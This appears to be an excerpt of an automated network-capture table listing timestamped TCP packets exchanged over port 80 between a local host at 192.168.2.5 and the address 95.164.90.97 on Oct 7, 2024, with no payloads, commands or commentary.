Oct 7, 2024 18:00:48.925566912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925581932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925591946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925596952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925600052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925616980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925620079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925633907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925661087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925685883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925805092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925820112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925841093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925847054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925857067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925863028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925873041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925873995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925889015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925894022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925904036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925904036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925921917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925928116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925937891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925941944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925957918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925960064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925982952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925983906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925993919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926026106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926043034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926059961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926083088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926091909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926117897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926131964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926146984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926153898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926163912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926182032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926188946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926227093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926243067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926259041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926285028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926294088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926419973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926434994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926451921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926460981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926467896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926484108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926487923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926500082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926506996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926518917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926534891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926537037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926551104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926557064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926567078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926578999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926583052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926592112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926599979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926609993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926620007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926639080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926727057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926742077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926757097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926770926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926779985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926790953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926804066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.926814079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926827908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.926845074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030359983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030380011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030391932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030459881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030483961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030483961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030509949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030517101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030528069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030536890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030565977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030591965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030646086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030654907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030663967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030673981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030683041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030692101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030692101 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030708075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030715942 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030720949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030731916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030736923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030759096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030766010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.030946970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030957937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030966997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.030989885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031016111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031054020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031064987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031074047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031084061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031100988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031127930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031179905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031189919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031213999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031227112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031282902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031294107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031303883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031312943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031322956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031323910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031332970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031343937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031358957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031375885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031759977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031769991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031785011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031794071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031804085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031814098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031817913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031827927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031838894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031841040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031848907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031858921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031861067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031873941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031877995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031886101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031896114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031897068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031905890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031907082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031919003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031929016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031936884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031940937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031954050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031963110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031966925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.031975031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.031997919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032017946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032422066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032474995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032640934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032650948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032663107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032668114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032676935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032686949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032692909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032702923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032706022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032713890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032723904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032733917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032737017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032746077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032749891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032757998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032771111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032773972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032782078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032789946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032793045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032804012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032814026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032814980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032825947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032835960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032840967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032846928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032847881 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032861948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032871962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.032880068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.032907963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033585072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033596992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033607006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033616066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033626080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033636093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033644915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033654928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033663988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033663988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033674955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033682108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033685923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033698082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033705950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033708096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033720016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033729076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033730030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033740997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033746004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033756018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033766985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033766985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033777952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033781052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033788919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033797979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033808947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033813953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033823967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033833027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.033834934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033848047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.033874035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.034312010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.034353971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.147192955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147207975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147253990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.147275925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.147310019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147322893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147335052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147346973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147357941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147455931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.147455931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.147475004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147486925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147497892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147507906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147526026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.147562981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.147659063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147670031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147680044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147691965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147701979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147707939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.147708893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.147720098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.147751093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148061991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148075104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148083925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148094893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148111105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148128033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148155928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148236990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148248911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148258924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148267984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148282051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148292065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148291111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148304939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148315907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148322105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148327112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148338079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148348093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148367882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148386955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148703098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148715973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148725986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148736954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148744106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148747921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148758888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148760080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148792982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148809910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148883104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148895025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148904085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148914099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148924112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148924112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148935080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148938894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148951054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.148967028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.148993969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149352074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149364948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149416924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149503946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149518967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149528980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149538994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149549007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149559021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149561882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149588108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149604082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149671078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149687052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149697065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149708986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149708986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149720907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149725914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149733067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149743080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149745941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149755955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149765015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.149774075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149789095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.149805069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150358915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150372028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150417089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150506020 CEST	80	49831	95.164.90.97	192.168.2.5
